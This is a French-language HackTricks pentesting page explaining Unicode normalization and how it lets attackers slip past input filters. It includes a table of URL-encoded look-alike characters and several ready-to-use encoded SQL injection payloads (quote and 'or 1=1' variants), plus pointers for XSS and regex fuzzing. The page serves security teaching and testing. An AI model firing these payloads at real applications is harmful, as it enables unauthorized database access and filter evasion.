hacktricks/src/pentesting-web/unicode-injection/unicode-normalization.md

# Normalisation Unicode

{{#include ../../banners/hacktricks-training.md}}

**Ceci est un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez-le pour plus de détails (images prises de là).

## Comprendre Unicode et Normalisation

La normalisation Unicode est un processus qui garantit que différentes représentations binaires de caractères sont standardisées à la même valeur binaire. Ce processus est crucial pour traiter des chaînes dans la programmation et le traitement des données. La norme Unicode définit deux types d'équivalence de caractères :

1. **Équivalence Canonique** : Les caractères sont considérés comme équivalents canoniques s'ils ont la même apparence et signification lorsqu'ils sont imprimés ou affichés.
2. **Équivalence de Compatibilité** : Une forme d'équivalence plus faible où les caractères peuvent représenter le même caractère abstrait mais peuvent être affichés différemment.

Il existe **quatre algorithmes de normalisation Unicode** : NFC, NFD, NFKC et NFKD. Chaque algorithme utilise les techniques de normalisation canonique et de compatibilité de manière différente. Pour une compréhension plus approfondie, vous pouvez explorer ces techniques sur [Unicode.org](https://unicode.org/).

### Points Clés sur l'Encodage Unicode

Comprendre l'encodage Unicode est essentiel, surtout lorsqu'il s'agit de problèmes d'interopérabilité entre différents systèmes ou langues. Voici les points principaux :

- **Points de Code et Caractères** : Dans Unicode, chaque caractère ou symbole se voit attribuer une valeur numérique connue sous le nom de "point de code".
- **Représentation en Octets** : Le point de code (ou caractère) est représenté par un ou plusieurs octets en mémoire. Par exemple, les caractères LATIN-1 (courants dans les pays anglophones) sont représentés à l'aide d'un octet. Cependant, les langues avec un ensemble de caractères plus large nécessitent plus d'octets pour la représentation.
- **Encodage** : Ce terme fait référence à la manière dont les caractères sont transformés en une série d'octets. UTF-8 est une norme d'encodage répandue où les caractères ASCII sont représentés à l'aide d'un octet, et jusqu'à quatre octets pour d'autres caractères.
- **Traitement des Données** : Les systèmes traitant des données doivent être conscients de l'encodage utilisé pour convertir correctement le flux d'octets en caractères.
- **Variantes de UTF** : En plus de UTF-8, il existe d'autres normes d'encodage comme UTF-16 (utilisant un minimum de 2 octets, jusqu'à 4) et UTF-32 (utilisant 4 octets pour tous les caractères).

Il est crucial de comprendre ces concepts pour gérer efficacement et atténuer les problèmes potentiels découlant de la complexité d'Unicode et de ses diverses méthodes d'encodage.

Un exemple de la façon dont Unicode normalise deux octets différents représentant le même caractère :
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Une liste de caractères équivalents en Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) et [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)

### Découverte

Si vous pouvez trouver à l'intérieur d'une application web une valeur qui est renvoyée, vous pourriez essayer d'envoyer **‘KELVIN SIGN’ (U+0212A)** qui **se normalise en "K"** (vous pouvez l'envoyer sous la forme `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.

Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **unicode** est `Leonishan`.

## **Exemples vulnérables**

### **Contourner le filtre d'injection SQL**

Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Ce web, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, il **normalise** l'entrée de l'utilisateur en utilisant **Unicode**.

Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, un guillemet simple est créé et une **vulnérabilité d'injection SQL** apparaît :

![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)

**Certains caractères Unicode intéressants**

- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
- `1` -- %c2%b9
- `=` -- %e2%81%bc
- `/` -- %ef%bc%8f
- `-`-- %ef%b9%a3
- `#`-- %ef%b9%9f
- `*`-- %ef%b9%a1
- `'` -- %ef%bc%87
- `"` -- %ef%bc%82
- `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
#### modèle sqlmap

{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}

### XSS (Cross Site Scripting)

Vous pourriez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :

![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)

Remarquez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme : `%e2%89%ae` ou `%u226e`

![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)

### Fuzzing Regexes

Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il se peut que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans un Open Redirect ou SSRF, la regex pourrait être **normalisant l'URL envoyée** mais ensuite **y accédant telle quelle**.

L'outil [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permet de **générer des variations de l'entrée** pour fuzz le backend. Pour plus d'infos, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).

## Références

- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)

{{#include ../../banners/hacktricks-training.md}}